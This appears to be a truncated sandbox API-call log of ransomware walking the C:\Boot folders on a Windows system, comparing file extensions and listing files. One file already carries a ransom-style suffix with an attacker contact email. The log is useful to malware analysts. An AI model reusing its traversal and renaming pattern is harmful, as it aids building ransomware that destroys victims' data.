[0223.623] lstrlenW (lpString=".r3d") returned 4 [0223.623] lstrcmpiW (lpString1=".r3d", lpString2="LOG1") returned -1 [0223.623] lstrlenW (lpString=".raf") returned 4 [0223.623] lstrcmpiW (lpString1=".raf", lpString2="LOG1") returned -1 [0223.623] lstrlenW (lpString=".rar") returned 4 [0223.623] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0223.623] lstrlenW (lpString=".raw") returned 4 [0223.623] lstrcmpiW (lpString1=".raw", lpString2="LOG1") returned -1 [0223.623] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0223.623] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0223.623] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4110060 [0223.623] FindFirstFileW (in: lpFileName="C:\\Boot\\bg-BG\\*", lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6cff88 [0223.642] FindNextFileW (in: hFindFile=0x6cff88, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0223.642] FindNextFileW (in: hFindFile=0x6cff88, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0223.642] FindNextFileW (in: hFindFile=0x6cff88, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0223.642] FindClose (in: hFindFile=0x6cff88 | out: hFindFile=0x6cff88) returned 1 [0223.642] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4110060 | out: hHeap=0x670000) returned 1 [0223.642] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef4e6d79, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef4e6d79, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x175a0, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="bootspaces.dll", cAlternateFileName="BOOTSP~1.DLL")) returned 1 [0223.643] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xaa98d150, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xaa98d150, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xaa9c8319, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x100fc, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="BOOTSTAT.DAT.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="BOOTST~1.LOV")) returned 1 [0223.643] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef4fcd12, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x185a0, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="bootvhd.dll", cAlternateFileName="")) returned 1 [0223.643] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0223.643] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4110060 [0223.643] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d03c8 [0223.644] FindNextFileW (in: hFindFile=0x6d03c8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0223.644] FindNextFileW (in: hFindFile=0x6d03c8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47e189c, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2109581d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0223.644] FindNextFileW (in: hFindFile=0x6d03c8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f1d4cf, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0223.644] FindNextFileW (in: hFindFile=0x6d03c8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f1d4cf, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0223.644] FindClose (in: hFindFile=0x6d03c8 | out: hFindFile=0x6d03c8) returned 1 [0223.644] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4110060 | out: hHeap=0x670000) returned 1 [0223.644] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="da-DK", cAlternateFileName="")) returned 1 [0223.644] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4110060 [0223.644] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6cff88 [0223.645] FindNextFileW (in: hFindFile=0x6cff88, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0223.645] FindNextFileW (in: hFindFile=0x6cff88, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47e189c, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0223.645] FindNextFileW (in: hFindFile=0x6cff88, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5252b3, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0223.645] FindNextFileW (in: hFindFile=0x6cff88, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5252b3, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0223.646] FindClose (in: hFindFile=0x6cff88 | out: hFindFile=0x6cff88) returned 1 [0223.646] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4110060 | out: hHeap=0x670000) returned 1 [0223.646] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="de-DE", cAlternateFileName="")) returned 1 [0223.646] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4110060 [0223.646] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d03c8 [0223.646] FindNextFileW (in: hFindFile=0x6d03c8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0223.646] FindNextFileW (in: hFindFile=0x6d03c8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48079da, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0223.646] FindNextFileW (in: hFindFile=0x6d03c8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef538bee, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0223.646] FindNextFileW (in: hFindFile=0x6d03c8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef538bee, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0223.646] FindClose (in: hFindFile=0x6d03c8 | out: hFindFile=0x6d03c8) returned 1 [0223.647] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4110060 | out: hHeap=0x670000) returned 1 [0223.647] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="el-GR", cAlternateFileName="")) returned 1 [0223.647] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4110060 [0223.647] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d0608 [0223.647] FindNextFileW (in: hFindFile=0x6d0608, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0223.648] FindNextFileW (in: hFindFile=0x6d0608, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0223.648] FindNextFileW (in: hFindFile=0x6d0608, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0223.648] FindNextFileW (in: hFindFile=0x6d0608, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0223.648] FindClose (in: hFindFile=0x6d0608 | out: hFindFile=0x6d0608) returned 1 [0223.648] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4110060 | out: hHeap=0x670000) returned 1 [0223.648] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="en-GB", cAlternateFileName="")) returned 1 [0223.648] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4110060 [0223.648] FindFirstFileW (in: lpFileName="C:\\Boot\\en-GB\\*", lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d03c8 [0223.649] FindNextFileW (in: hFindFile=0x6d03c8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0223.649] FindNextFileW (in: hFindFile=0x6d03c8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12158, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0223.649] FindNextFileW (in: hFindFile=0x6d03c8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12158, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0223.649] FindClose (in: hFindFile=0x6d03c8 | out: hFindFile=0x6d03c8) returned 1 [0223.649] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4110060 | out: hHeap=0x670000) returned 1 [0223.649] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="en-US", cAlternateFileName="")) returned 1 [0223.649] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4110060 [0223.649] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d0448 [0223.650] FindNextFileW (in: hFindFile=0x6d0448, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0223.650] FindNextFileW (in: hFindFile=0x6d0448, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef569843, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x327294d0, ftLastWriteTime.dwHighDateTime=0x1d2a030, nFileSizeHigh=0x0, nFileSizeLow=0x121a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0223.650] FindNextFileW (in: hFindFile=0x6d0448, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, 